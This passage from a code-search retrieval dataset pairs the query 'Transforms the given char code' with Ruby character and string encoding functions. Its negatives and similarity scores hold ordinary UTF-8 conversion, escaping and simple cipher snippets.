"def utf8_character\n character.chr(Encoding::UTF_8)\n end",
"def encode_utf8 string\n (string.respond_to?(:force_encoding) and string.respond_to?(:encoding)) ?\n string.force_encoding(Encoding::UTF_8) : string\n end",
"def encode_utf8 string\n (string.respond_to?(:force_encoding) and string.respond_to?(:encoding)) ?\n string.force_encoding(Encoding::UTF_8) : string\n end",
"def _encode_string(string)\n return string unless string.kind_of? String\n string.encode(\"UTF-8\", :undef => :replace, :invalid => :replace, :replace => \"?\")\n end",
"def encode_char char\n node = @root\n coding = \"\"\n\n # encode to 0 if only one character\n if !@root.children?\n return \"0\"\n end\n\n # we do a binary search, building the representation\n # of the character based on which branch we follow\n while node.val != char\n if node.right.val.include? char\n node = node.right\n coding += \"1\"\n else\n node = node.left\n coding += \"0\"\n end\n end\n coding\n end",
"def encode(input)\n return '' if input.nil?\n input.to_s.encode(Encoding::UTF_8)\n rescue Encoding::UndefinedConversionError\n input.dup.force_encoding(Encoding::UTF_8)\n end",
"def encode_char(immune,input)\n return input if immune.include?(input)\n return input if hex(input).nil?\n return \"#{@escape_char}#{input}\"\n end",
"def utf8\n self.encode('UTF-8', 'binary', :invalid => :replace, :undef => :replace, :replace => '?')\n end",
"def encode(str)\n if @using_old_ruby\n # Because ruby 1.8.7 doesn't have String#encode.\n require 'iconv'\n Iconv.conv('UTF-8//IGNORE', 'UTF-8', str + ' ')[0..-2]\n else\n str.encode('utf-8', 'binary', :invalid => :replace, :undef => :replace)\n end\n end",
"def encode(immune, input)\n return nil if input.nil?\n encoded_string = ''\n encoded_string.encode!(Encoding::UTF_8)\n input.encode(Encoding::UTF_8).chars do |c|\n encoded_string << encode_char(immune,c)\n end\n encoded_string\n end",
"def encode(s)\n return s if s.nil?\n return s if s.valid_encoding?\n if s.force_encoding(\"iso-8859-1\").valid_encoding?\n return s.encode('utf-8', 'iso-8859-1')\n end\n s\n end",
"def encode(string); end",
"def unicode_filter_encode(str)\n self.encode_unicode ? Rex::Text.unicode_filter_encode(str) : str\n end",
"def encode_string(str)\n str = str.to_s.encode('UTF-8')\n\n # Force to binary, when assembling the packet\n str.force_encoding('ASCII-8BIT')\n encode_short(str.bytesize) + str\n end",
"def safe_encode_utf8(text)\n text.force_encoding('ASCII-8BIT').encode(\"UTF-8\", :invalid => :replace, :undef => :replace, :universal_newline => true)\nend",
"def to_char(c)\n x = c / 100\n y = c % 100\n c = valid?(x, y) ? (0xA0 + x) * 0x100 + (0xA0 + y) : nil\n c.chr(@encoding).encode(Encoding::UTF_8) rescue (return nil)\n end",
"def encode(encoding)\n to_s.encode(encoding)\n end",
"def encode(unicode)\n unicode.gsub!('U+', '\\u')\n\n unicode.gsub(/\\\\u[\\da-f]{4}/i) { |m| [m[-4..-1].to_i(16)].pack('U') }\n end",
"def re_encode_to_utf8(s)\n (s.valid_encoding? ?\n s :\n s.encode('UTF-16be', invalid: :replace, replace: '?')\n ).encode('UTF-8')\nend",
"def utf8_safe\n encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')\n end",
"def encode_string(string)\n string.encode('UTF-8', {\n :invalid => :replace,\n :undef => :replace,\n :replace => '?'\n })\n rescue Exception\n nil\n end",
"def encode_string(string)\n string.encode('UTF-8', {\n :invalid => :replace,\n :undef => :replace,\n :replace => '?'\n })\n rescue Exception\n nil\n end",
"def to_utf8(str)\n str.encode(Encoding::UTF_8)\n end",
"def transcode_to_utf8(s)\n unless s.nil?\n s.encode(Encoding::UTF_8, :invalid => :replace, :undef => :replace)\n end\n end",
"def convert_to_unicode(char)\n \n if char =~ /\\A\\\\/\n char = char.gsub(\"\\\\\",\"\") # Fix double escaping\n char = [char[0..-1].to_i(16)].pack(\"U\")\n end\n \n raise ArgumentError, \"You can only pass one character\" if char.size > 1\n \n char\n end",
"def to_utf8(str)\n str.to_s.encode('utf-8', invalid: :replace, undef: :replace)\n end",
"def encode_string; end",
"def encoding_for(character)\n encoding_for_bars(ENCODINGS[character])\n end",
"def encode(letters, char, offset)\n\t\t((((char - letters.min) + offset) % 26) + letters.min).chr\n\t\t# binding.pry\n\tend",
"def non_utf8_character\n [0x92].pack('C*')\n end",
"def putc(char)\n ostream.putc char\n end",
"def encode(bytes)\n ::Base32.encode(bytes.to_s).downcase\n end",
"def encode(codepoint)\n [\"0x#{codepoint}\".to_i(16)].pack(\"U\")\n end",
"def encode(string)\n Base32.encode(string).downcase.sub(/=+$/, '')\n end",
"def encode(string)\n URI.escape(string)\n end",
"def to_utf (str)\n encoded_str = ''\n str.split('').each {|char| \n encoded_char = char.encode('UTF-8')\n encoded_char.bytes.each {|byte|\n encoded_str << \"%#{byte.to_s(16)}\"\n }\n }\n return encoded_str\nend",
"def utf8(string)\n string.force_encoding(Encoding::UTF_8)\n end",
"def encode(codepoint)\n [codepoint.to_i(16)].pack(\"U\")\n end",
"def encode(str,encoding)\n\n\tstr.each_char do |num|\n\t\tif (encoding.has_key? (num))\n\t\t\t\" \".push(encoding[num])\n\t\tend\n\tend\n\treturn empty_string\nend",
"def protect_encoding(x)\n x.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')\n end",
"def _utf8(str)\n return str.force_encoding(Encoding::UTF_8)\nend",
"def encode to_encode\n CGI.escape(to_encode)\n end",
"def utf8_encode(string, binary: false, placeholder: STRING_PLACEHOLDER)\n string = string.to_s\n\n if binary\n # This option is useful for \"gracefully\" displaying binary data that\n # often contains text such as marshalled objects\n string.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')\n elsif string.encoding == ::Encoding::UTF_8\n string\n else\n string.encode(::Encoding::UTF_8)\n end\n rescue StandardError => e\n OpenTelemetry.logger.debug(\"Error encoding string in UTF-8: #{e}\")\n\n placeholder\n end",
"def to_utf8(str)\n str = str.force_encoding('UTF-8')\n return str if str.valid_encoding?\n str.encode(\"UTF-8\", 'binary', invalid: :replace, undef: :replace, replace: '')\n end",
"def toutf8; Kconv.toutf8(self) end",
"def utf8_encode(doc, from=nil)\n (from.nil?) ? doc.encode('utf-8', @encoding_args) : doc.encode('utf-8', from, @encoding_args)\n end",
"def transcode(str)\n str.force_encoding('UTF-8')\nend",
"def to_utf8(str)\n if RUBY_VERSION == \"1.8.7\"\n str\n else\n str.force_encoding(Encoding::UTF_8.name)\n end\n end",
"def encode_new_value(record)\n record.new_value.force_encoding('utf-8')\n\n record.new_value =\n record.new_value.encode('utf-8', invalid: :replace, undef: :replace, replace: '_')\n rescue StandardError => e\n Rollbar.error(e, 'Failed to encode value to UTF-8', record: record) if report_to_rollbar\n\n nil\n end",
"def encode(str, transliterate: false, replace_char: nil, truncate: false)\n return if str.nil?\n\n replace_char = canonicalize_replace_char(replace_char)\n\n processed_str = str.unpack('U*').map do |char|\n utf8_char = char.chr(Encoding::UTF_8)\n\n compatible_char = compatible_char_for(char)\n transformed_char = transformed_char_for(char) if transliterate\n gsm_char_for(compatible_char || transformed_char || utf8_char, replace_char)\n end.join\n\n truncate ? truncate_into_single_segment(processed_str) : processed_str\n end",
"def path_encode(path)\n Addressable::URI.escape(path.encode(Encoding::UTF_8))\n end",
"def escaped_char(escape)\n if escape =~ /^\\\\([0-9a-fA-F]{1,6})[ \\t\\r\\n\\f]?/\n $1.to_i(16).chr(Encoding::UTF_8)\n else\n escape[1]\n end\n end",
"def unicode_chr(val)\n\t\t[val].inject('') {|s, cp| s << cp }\n\tend",
"def wputs(str)\n puts str.encode(\"cp866\", str.encoding)\nend",
"def to_utf8(s)\n return force_encoding(s.gsub(/&(.*?)-/n) {\n if $1.empty?\n \"&\"\n else\n base64 = $1.tr(\",\", \"/\")\n x = base64.length % 4\n if x > 0\n base64.concat(\"=\" * (4 - x))\n end\n base64.unpack(\"m\")[0].unpack(\"n*\").pack(\"U*\")\n end\n }, \"UTF-8\")\n end",
"def path_encode(path)\n URI.encode(path.encode(Encoding::UTF_8))\n end",
"def to_utf8(str)\n str = str.force_encoding(ENCODING)\n return str if str.valid_encoding?\n str.encode(ENCODING, 'binary', invalid: :replace, undef: :replace,\n replace: '')\n end",
"def transcode(str)\n return str.force_encoding(Encoding::UTF_8)\nend",
"def encode_string_ex; end",
"def encode_string(str)\n str.chars.map(&:ord)\n end",
"def to_utf8; convert_format(ASCII8BIT, UTF8); end",
"def utf8(string)\n string.force_encoding('utf-8') unless string.nil?\n end",
"def to_utf8!; replace(to_utf8); end",
"def widen_char(c)\n c += 65248 if c.between? 33, 126 # character w/ fullwidth equivalent\n c.chr Encoding::UTF_8\nend",
"def path_encode(path)\n CGI.escape(path.encode(Encoding::UTF_8))\n end",
"def reencode_string(input); end",
"def to_utf8(s)\n return nil if s.nil?\n\n # Attempt to politely transcode the string.\n s.encode(\"UTF-8\").scrub\n rescue\n # If that doesn't work, then overwrite the existing encoding and\n # clobber any strange characters.\n s.force_encoding(\"UTF-8\").scrub\n end",
"def unicode_char(codepoint)\n [codepoint].pack(\"U*\")\n end",
"def unicode_char(codepoint)\n [codepoint].pack(\"U*\")\n end",
"def encode\n type_byte + encode_data\n end",
"def to_char(c)\n CHARSET.at(to_integer(c))\n end",
"def encode(s)\n s.gsub!(\"<\",\"<\")\n s.gsub!(\">\",\">\")\n s.gsub!(\"& \",\"&\")\n s\n end",
"def ident_encode(string)\n string.force_encoding('ISO-8859-1').encode('UTF-8')\n end",
"def encode(text); end",
"def encode(text); end",
"def to_utf8(raw_text)\n if raw_text.platform_id == 1 && raw_text.encoding_id == 0\n return raw_text\n else\n begin\n raw_text.encode(\"UTF-8\", \"UTF-16BE\")\n rescue\n raw_text\n end\n end\n end",
"def encoded_string(obj)\n obj.to_s.encode('utf-8', invalid: :replace, undef: :replace)\n end",
"def force_to_ascii s\n out = \"\"\n s.each_byte do |b|\n if (b & 128) != 0\n out << \"\\\\x#{b.to_s 16}\"\n else\n out << b.chr\n end\n end\n #out.force_encoding Encoding::UTF_8 if in_ruby19_hell? # not necessary?\n out\n end",
"def set_encoding(text)\n unless text.encoding.name == \"UTF-8\"\n text = text.encode(\"UTF-8\", \n invalid: :replace, \n undef: :replace, \n replace: \"\"\n )\n end\n end",
"def plaintext_utf8(delim=\"\\n\")\n plaintext(delim).encode('UTF-8', invalid: :replace, undef: :replace, \n replace: '?')\n end",
"def url_encode(string)\n string = CGI.escape string\n end",
"def encode(data)\n case @encoding\n when nil, :none, :raw\n data\n when :base64\n Base64.encode64(data)\n else\n raise Cryptic::UnsupportedEncoding, @encoding\n end\n end",
"def encode_non_ascii_delimiter(str)\n return str if str.empty?\n # split would split the str without the specified delimiter while partition would output the delimiter as well\n partitioned_str = str.partition(' ') \n delimiter = 257.chr(Encoding::UTF_8)\n encoded_str = ''\n partitioned_str.each do |s|\n if s == \" \"\n encoded_str+= delimiter \n else\n encoded_str+= s\n end\n end\n encoded_str\nend",
"def encode(str)\n bitstring = str.each_byte.map { |chr| ENCODE_TABLE[chr] }.join\n bitstring << '1' * ((8 - bitstring.size) % 8)\n [bitstring].pack('B*')\n end",
"def escape_bytea(str)\n # each_byte used instead of [] for 1.9 compatibility\n str.gsub(/[\\000-\\037\\047\\134\\177-\\377]/n){|b| \"\\\\#{sprintf('%o', b.each_byte{|x| break x}).rjust(3, '0')}\"}\n end",
"def encode_string(string)\n raise ArgumentError, \"String must be present\" if !string\n encode_varint(string.bytesize) + BTC::Data.ensure_binary_encoding(string)\n end",
"def escape(value)\n _escape(value.to_s.to_str)\n rescue ArgumentError\n _escape(value.to_s.to_str.force_encoding(Encoding::UTF_8))\n end",
"def write_(s)\n s = s.encode(@conf['encoding'], s.encoding)\n @sock.puts s\n log.info \"W > #{s}\"\n end",
"def make_utf8(str)\n return Kconv.toutf8(str.strip)\n end",
"def encode(string)\n string.unpack('B*')[0].tr('01', \" \\n\")\n end",
"def iconv(charset)\n encode(charset, fallback: ->(c) { UTF8_TO_ASCII[c] || \"?\" })\n end",
"def encode(byte,sz = schluessel) # given are the to be encoded bytecode and the key\n # only letters will be encoded, numbers & special characters won't\n if ('A'..'Z').include?(byte.chr) || ('a'..'z').include?(byte.chr)\n start = (byte > 96) ? 'a'.ord : 'A'.ord # determine the start-value for decoding a-z & A-Z\n anzahl_zeichen = 26 # das deutsche Alphabet\n\n (byte + sz - start) % anzahl_zeichen + start\n else\n byte\n end\n end",
"def +(chr)\n @str += chr\n end",
"def get_utf8_of(character)\n character.unpack('H*').first.upcase\nend",
"def enc_utf8\n\n @@enc_utf8 ||= \n ( Encoding.find( \"utf-8\" ) or raise \"No utf-8 encoding found (?!)\" )\nend",
"def transcode(string)\n return string.encode(\"iso-8859-1\").force_encoding(\"utf-8\")\nend",
"def safe_encode(string)\n CGI::escape(string).gsub(/\\+/, '%20')\n end",
"def encode_line(line)\n if Gem::Version.new(RUBY_VERSION) < Gem::Version.new('1.9')\n require 'iconv'\n line = Iconv.new('ISO-8859-1//IGNORE','UTF-8').iconv(line)\n else\n line = line.force_encoding(Encoding::ISO_8859_1).encode(Encoding::UTF_8,:replace => nil,:undef => :replace)\n end\n end"
] |
[
"0.73036027",
"0.69831973",
"0.6925678",
"0.6855185",
"0.6855185",
"0.6852243",
"0.67387664",
"0.661399",
"0.6506056",
"0.64923525",
"0.6491837",
"0.6447",
"0.6442906",
"0.63871187",
"0.6318492",
"0.6316012",
"0.6300744",
"0.62980205",
"0.62935346",
"0.6260566",
"0.6250121",
"0.62493914",
"0.6227911",
"0.62116337",
"0.62096125",
"0.62024033",
"0.619711",
"0.61650276",
"0.6091848",
"0.6065947",
"0.60558456",
"0.6053482",
"0.60031337",
"0.60011196",
"0.59379464",
"0.5925833",
"0.5912296",
"0.590187",
"0.58989537",
"0.5857474",
"0.58344936",
"0.583356",
"0.58231795",
"0.5817597",
"0.5801747",
"0.5792279",
"0.5787157",
"0.57831454",
"0.57730633",
"0.57717913",
"0.57534885",
"0.57481396",
"0.5745313",
"0.57422036",
"0.5717342",
"0.5713884",
"0.5707371",
"0.56887615",
"0.5672002",
"0.566003",
"0.5659678",
"0.56579715",
"0.5649441",
"0.5643539",
"0.56410146",
"0.5629234",
"0.56286824",
"0.5625147",
"0.5619684",
"0.5613186",
"0.5613186",
"0.561191",
"0.56073385",
"0.56043655",
"0.5583222",
"0.55443215",
"0.55443215",
"0.5542026",
"0.5535155",
"0.55279917",
"0.55180246",
"0.5509371",
"0.55024743",
"0.5498736",
"0.5491778",
"0.5490692",
"0.5490375",
"0.5488668",
"0.5486369",
"0.54803294",
"0.547921",
"0.5477251",
"0.54727614",
"0.54708946",
"0.5458799",
"0.5456829",
"0.54426664",
"0.54414713",
"0.5431464",
"0.542344"
] |
0.6868852
|
3
|
Transforms the given char code
|
def hex_for_non_alphanumeric_code(input)
if input < LOW_HEX_CODE_LIMIT
HEX_CODES[input]
else
input.to_s(HEX_BASE)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def code_letter(name)\nname = name.downcase.tr(\"aeiou\", \"eioua\")\nname = name.downcase.tr(\"bcdfghjklmnpqrstvwxyz\", \"cdfghjklmnpqrstvwxyzb\")\nend",
"def translate_codepoints(str)\n str.gsub(/#x\\h+/) {|c| c[2..-1].scanf(\"%x\").first.chr(Encoding::UTF_8)}\n end",
"def decode_char(input)\n input\n end",
"def unichr(code_point)\n [code_point].pack(\"U\")\n end",
"def encode(letters, char, offset)\n\t\t((((char - letters.min) + offset) % 26) + letters.min).chr\n\t\t# binding.pry\n\tend",
"def encode_char(immune, input)\n input\n end",
"def char\n code ? [code].pack('U') : ' '\n end",
"def get_code_for(i)\n if i.is_a?(String)\n c = i[0]\n else\n c = i\n end\n\n return @remap_chars[c.chr] || c.chr\n end",
"def replaceCharToNumber(char)\n case char\n when 'T'\n then\n char = 10\n when 'J'\n then\n char = 11\n when 'Q'\n then\n char = 12\n when 'K'\n then\n char = 13\n when 'A'\n then\n char = 14\n end\n char.to_i\nend",
"def encode_character(char)\n if @@has_ord ||= char.respond_to?(:ord)\n char.ord.to_s\n else\n char[0]\n end\n end",
"def yy_unicode_s(char_code)\n \"U+#{\"%04X\" % char_code}\"\n end",
"def normalize(code); end",
"def processChar(c)\n if @target == 'utf8'\n return LATEX_TO_UTF8[c]\n end\n if @target == 'html'\n return LATEX_TO_HTML_ENTITIES[c]\n end\n if @target == \"mc\"\n return LATEX_TO_MACRONS_CHARACTERS[c]\n end\n end",
"def to_katakana(src)\n src\n .gsub(\"わ゙\",\"ヷ\")\n .gsub(\"い゙\",\"ヸ\")\n .gsub(\"え゙\",\"ヹ\")\n .gsub(\"を゙\",\"ヺ\")\n .tr(\"ぁ-ゖゝゞゟ\",\"ァ-ヶヽヾヿ\")\nend",
"def translate_char(char)\n# designed to be called upon by our translate_phrase method\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\thalfway = alphabet.length / 2\n\t#halfway = 13\n\tis_capitalized = (char.upcase == char)\n\n\t#if alphabet.index(char.downcase) == nil\n\tif !alphabet.index(char.downcase)\n\t\t#return \"boing\"\n\t\t\"boing\"\n\t#elsif is_capitalized && (alphabet.index(char.downcase) + 1) \n\t\t#<= halfway\n\telsif is_capitalized && alphabet.index(char.downcase) < halfway\n\t\t#return \"bloop\"\n\t\t\"bloop\"\n\t#elsif is_capitalized || char.downcase == \"e\"\n\telsif is_capitalized || char == \"e\"\n\t\t#return \"buzz\"\n\t\t\"buzz\"\n\telse \n\t\t#return char\n\t\t#char\n\t\t#return \"beep\"\n\t\t\"beep\"\n\tend\nend",
"def encode_char(immune,input)\n return input if immune.include?(input)\n return input if hex(input).nil?\n return \"#{@escape_char}#{input}\"\n end",
"def to_char(x, y)\n \"#{char_mapping.key(x).upcase}#{y}\"\n end",
"def translate\n if @flag_read_next == true\n @array[@pos] = c.each_byte.first\n @flag_read_next = false\n return\n end\n\n case @input_array[@pointer_input]\n when \">\" then @pos += 1\n when \"<\" then @pos -= 1\n when \"+\" then @array[@pos] += 1\n when \"-\" then @array[@pos] -= 1\n when \".\" then @output << @array[@pos] != 10 ? @array[@pos].chr : (10.chr + 13.chr) # \\n conversion to \\n \\r\n when \",\" then @flag_read_next = true\n when \"[\" then @pointer_input = @hash_brackets[@pointer_input] if @array[@pos] == 0\n when \"]\" then @pointer_input = @hash_brackets.invert[@pointer_input] if @array[@pos] != 0\n end\n end",
"def change_char(char)\r\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n constanants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\r\n alphabet = 'abcdefghijklmnopqrstuvwxyz'\r\n \r\n index_of_char = alphabet.index(char) # check for any non-alphabet characters\r\n is_vowel = vowels.index(char) # check any vowels\r\n is_constanant = constanants.index(char) # check for any constanants\r\n \r\n if index_of_char == nil \r\n char\r\n # letter is not in alphabet, returns same character \r\n elsif is_vowel \r\n vowels.rotate(1)[vowels.index(char)]\r\n # if letter is a vowel, returns next vowel \r\n elsif is_constanant \r\n constanants.rotate(1)[constanants.index(char)] \r\n # if letter is a constanant, returns next constanant\r\n else\r\n char\r\n end\r\nend",
"def charChange(char)\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\n charPosition = alpha.index(char)\n newChar = alpha[charPosition - 1]\n return newChar\nend",
"def caesar_cipher(sentence, raw_offset)\r\n offset = raw_offset % 26\r\n sentence.gsub(/([a-zA-Z])/){|char| shift_the_letter(char.ord, offset).chr}\r\nend",
"def vowel_converter(swapped_name)\r\n\t# Forces all letters to be lower case in order for code to work properly\r\n\tcode_name = swapped_name.downcase.chars\r\n\tvowels = %w{a e i o u}\r\n\tcode_name.map! do |letter|\r\n\t\t# Edge case fix to make code work as intended\r\n\t\tif letter == \"u\"\r\n\t\t\tletter = \"a\"\r\n\t\telsif vowels.include?(letter)\r\n\t\t\tvowels[vowels.index(letter) + 1]\r\n\t\telse\r\n\t\t\tletter\r\n\t\tend\r\n\tend\r\n\t# This re-capitalizes the first letter of each part of the name\r\n\tcode_name.join('').split.map(&:capitalize).join(' ')\r\nend",
"def loop_back (chr_code, number) # z => a, Z => A\n ((chr_code + number > 122 && chr_code.between?(97,122)) ||\n (chr_code + number > 90 && chr_code.between?(65,90))) ?\n chr_code + number - 26 : chr_code + number\n end",
"def decoder(message)\n translated = message\n translated.gsub!(/\\w/).each do |letter|\n if letter.ord + 13 < 122\n letter.gsub!(letter, (letter.ord + 13).chr)\n else\n letter.gsub!(letter, (letter.ord-13).chr)\n end\n end\nend",
"def kcode() end",
"def loop_back (chr_code, number) # z => a, Z => A\n ((chr_code + number > 122 && chr_code.between?(97,122)) ||\n (chr_code + number > 90 && chr_code.between?(65,90))) ?\n chr_code + number - 26 : chr_code + number\n end",
"def cipher_char(char, key)\n alpha = (\"a\"..\"z\").to_a\n alpha_upcase = (\"A\"..\"Z\").to_a\n\n # return char if it's not an alphabetic symbol\n return char if !alpha.include?(char.downcase)\n\n is_upcase = (alpha.include?(char.downcase) && !alpha.include?(char))\n\n old_char = alpha.index(char.downcase)\n new_char = (old_char + key) % alpha.length # Loop back on alpha array\n \n if is_upcase\n return alpha[new_char].upcase\n else\n return alpha[new_char]\n end\nend",
"def map!(&prc)\n return \"\" if prc.nil?\n\n test = \"\"\n self.each_char.with_index do |c, i|\n test += prc.call(c) || \"\"\n end\n\n self.replace(test)\n end",
"def translate_char(char)\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\thalfway = alphabet.length / 2\n\tis_capitalized = (char.upcase == char)\n\tindex_of_char = alphabet.index(char.downcase)\n\n\t#if !alphabet.index(char.downcase)\n\tif !index_of_char\n\t\t\"boing\"\n\t#elsif is_capitalized && alphabet.index(char.downcase) < halfway\n\telsif is_capitalized && index_of_char < halfway\n\t\t\"bloop\"\n\telsif is_capitalized || char == \"e\"\n\t\t\"buzz\"\n\telse\n\t\t\"beep\"\n\tend\nend",
"def code_group(unpacked_character)\n \"x%02x\" % (unpacked_character >> 8)\n end",
"def alphabetic_code=(input)\n write_attribute(:alphabetic_code, input.upcase)\n end",
"def replaceNumberToChar(number)\n case number\n when 10\n then\n number = 'T'\n when 11\n then\n number = 'J'\n when 12\n then\n number = 'Q'\n when 13\n then\n number = 'K'\n when 14\n then\n number = 'A'\n end\n number.to_s\nend",
"def codex(x, y)\r\n if x == \" \" || x == \".\" || x == \"!\" || x== \"?\" ||x== \",\" || x == \" \" || x == \"'\"\r\n return x \r\n else\r\n if x === x.upcase\r\n itscaps = true\r\n x.downcase!\r\n end\r\n \r\n changer = @keygen.index(x) + y\r\n while changer > 25\r\n changer -= 26\r\n end\r\n end\r\n if itscaps == true\r\n return @keygen[changer].upcase\r\n itscaps = false\r\n else\r\n return @keygen[changer]\r\n end\r\n end",
"def encode_char(char, safe_chars = {})\n return char if safe_chars[char]\n\n code = char.ord\n hex = hex_for_non_alphanumeric_code(code)\n return char if hex.nil?\n\n hex = REPLACEMENT_HEX if NON_PRINTABLE_CHARS[code]\n\n if entity = HTML_ENTITIES[code] # rubocop:disable Lint/AssignmentInCondition\n \"&#{entity};\"\n else\n \"&#x#{hex};\"\n end\n end",
"def decode_char(input)\n\n input.mark\n first = input.next\n if first.nil?\n input.reset\n return nil\n end\n # check to see if we are dealing with an encoded char\n if first!= \"\\\\\"\n input.reset\n return nil\n end\n second = input.next\n if second.nil?\n input.reset\n return nil\n end\n\n #Check octal codes\n return 0x08.chr if second == \"b\"\n return 0x09.chr if second == \"t\"\n return 0x0a.chr if second == \"n\"\n return 0x0b.chr if second == \"v\"\n return 0x0c.chr if second == \"f\"\n return 0x0d.chr if second == \"r\"\n return 0x22.chr if second == \"\\\"\"\n return 0x27.chr if second == \"\\'\"\n return 0x5c.chr if second == \"\\\\\"\n if second.downcase == \"x\" # Hex encoded value\n temp = ''\n for i in 0..1 do\n c = input.next_hex\n temp << c unless c.nil?\n if c.nil?\n input.reset\n return nil\n end\n end\n i = temp.hex\n begin\n return i.chr(Encoding::UTF_8) if i >= START_CODE_POINT and i <= END_CODE_POINT\n rescue Exception => e\n input.reset\n return nil\n end\n elsif second.downcase == \"u\" # Unicode encoded value\n temp = ''\n for i in 0..3 do\n c = input.next_hex\n temp << c unless c.nil?\n if c.nil?\n input.reset\n return nil\n end\n end\n i = temp.hex\n begin\n return i.chr(Encoding::UTF_8) if i >= START_CODE_POINT and i <= END_CODE_POINT\n rescue Exception => e\n input.reset\n return nil\n end\n elsif input.octal?(second) # Octal encoded value\n temp = second\n c = input.next\n unless input.octal?(c)\n input.push(c)\n else\n temp << c\n c = input.next\n unless input.octal?(c)\n input.push(c)\n else\n temp << c\n end\n end\n # build a number\n i = temp.to_i(8)\n begin\n return i.chr(Encoding::UTF_8) if i >= START_CODE_POINT and i <= END_CODE_POINT\n rescue Exception => e\n input.reset\n return nil\n end\n end\n second\n end",
"def split_char(char)\n return if char.nil?\n x, y = char.split('')\n [char_mapping[x.downcase], y.to_i]\n end",
"def build_char_codes(node, key)\n build_char_codes(node.left, key + '0') if node.left\n build_char_codes(node.right, key + '1') if node.right\n @char_code[node.value] = key if node.leaf?\n end",
"def char_to_id(ch); end",
"def encode(word)\n word.gsub(/[aeiou]/, 'a' => 1, 'e' => 2, 'i' => 3, 'o' => 4,\n 'u' => 5)\nend",
"def char\n self.class.codepoint2char(@codepoint)\n end",
"def translate_char(char)\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\thalfway = alphabet.length / 2\n\tis_capitalized = (char.upcase == char)\n\n\tif !alphabet.index(char.downcase)\n\t\t\"boing\"\n\telsif is_capitalized && alphabet.index(char.downcase) < halfway\n\t\t\"bloop\"\n\telsif is_capitalized || char == \"e\" \n\t\t\"buzz\"\n\telse\n\t\t\"beep\"\n\tend\nend",
"def convertCodeToString(code, codeTable)\n string = \"\"\n code.split(\" \").each do |i|\n string += codeTable.key(i).to_s #This will return the key corresponding to the value split out of the code which represents one character\n end\n return string\nend",
"def decode_char(input)\n input.mark\n first = input.next\n # check first char\n if first.nil?\n input.reset\n return nil\n end\n # if it isnt escape return nil\n if first != @escape_char\n input.reset\n return nil\n end\n # get teh escape value\n return input.next\n end",
"def translate_char(char)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n halfway = alphabet.length / 2\n is_cap = (char.upcase == char)\n index_of_char = alphabet.index(char.downcase)\n \n if !index_of_char\n \"boing\"\n elsif is_cap && index_of_char < halfway\n \"bloop\"\n elsif is_cap || char == \"e\"\n \"buzz\"\n else\n \"beep\"\n end\nend",
"def convert_code\n @code.map{ |num| translate_num_to_color(num) }\n end",
"def map_char(ident, &block) ; map_primitive(:char, ident, &block) ; end",
"def next_char c, number\n new_ord = c.ord + filter_by_95(number)\n if new_ord > 126\n new_ord -= (126 - 31)\n end\n return new_ord.chr\nend",
"def map!(&prc)\n self.each_char.with_index { |char, i| self[i] = prc.call(char, i) }\n end",
"def codepoint(str)\n return str.gsub(/\\\\u[\\da-f]{4}/i) { |m| [m[-4..-1].to_i(16)].pack('U') }\n end",
"def LetterChanges(str)\n\n str=str.tr('a-y','b-z')\n str=str.tr('aeiou','AEIOU')\n return str \n \nend",
"def codegroup(code)\n if code < 97 \n 65\n else \n 97\n end\n end",
"def decrypt_char(encrypted_char)\n case encrypted_char\n when 'A'..'M', 'a'..'m' then (encrypted_char.ord + 13).chr \n when 'N'..'Z', 'n'..'z' then (encrypted_char.ord - 13).chr \n else encrypted_char\n end\nend",
"def codon_to_char(codon)\n # the whole \"code\" is really redundant, so the original character\n # can be derived from the first character of the codon\n ((codon.chars.first.to_i(BASE) - CHAR_OFFSET) % BASE).to_s(BASE)\n end",
"def decode_char(input)\n input.mark\n first = input.next\n if first.nil?\n input.reset\n return nil\n end\n # check if this is an encoded character\n if first != '%'\n input.reset\n return nil\n end\n # search for 2 hex digits\n tmp = ''\n for i in 0..1 do\n c = input.next_hex\n tmp << c unless c.nil?\n end\n # we found 2, convert to a number\n if tmp.size == 2\n i = tmp.hex\n begin\n return i.chr(Encoding::UTF_8) if i >= START_CODE_POINT and i <= END_CODE_POINT\n rescue Exception => e\n end\n end\n input.reset\n nil\n end",
"def shift_char_code_by_n(byte_code, n)\n offset = (byte_code - CHAR_CODE_A + n) % 26\n offset + CHAR_CODE_A\n end",
"def replace_with_ascii(input)\n\tints = input.split\n\toutput = \"\"\n\tints.each do |t|\n\t\tt = t.to_i\n\t\toutput += t.chr \n\tend\n\tputs output\nend",
"def id_to_code(id)\n (id.to_i * factor + pad).to_s(26).tr('0-9a-p', 'a-z')\n end",
"def extract_code\n @original.chars.map do |c|\n @code.push c.to_i if c[/\\d+/]\n end\n end",
"def translate_char(char)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n halfway = alphabet.length / 2\n is_capitalized = (char.upcase == char)\n index_of_char = alphabet.index(char.downcase)\n\n if !index_of_char\n \"boing\"\n elsif is_capitalized && index_of_char < halfway\n \"bloop\"\n elsif is_capitalized || char == \"e\"\n \"buzz\"\n else\n \"beep\"\n end\nend",
"def prev_char c, number\n new_ord = c.ord - filter_by_95(number)\n if new_ord < 32\n new_ord += (126 - 31)\n end\n return new_ord.chr\nend",
"def code_group(unpacked_character)\n \"x%02x\" % (unpacked_character >> 8)\n end",
"def translate_char(char)\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\thalfway = alphabet.length / 2\n\tis_capitalized = (char.upcase == char)\n\t\n\tif alphabet.index(char.downcase) == nil\n\t\t\"boing\"\n\telsif \n\t\tis_capitalized && alphabet.index(char.downcase) < halfway\n\t\t\"bloop\"\n\telsif \n\t\tis_capitalized || char == \"e\"\n\t\t\"buzz\"\n\telse \n\t\t\"beep\" \n\tend \nend",
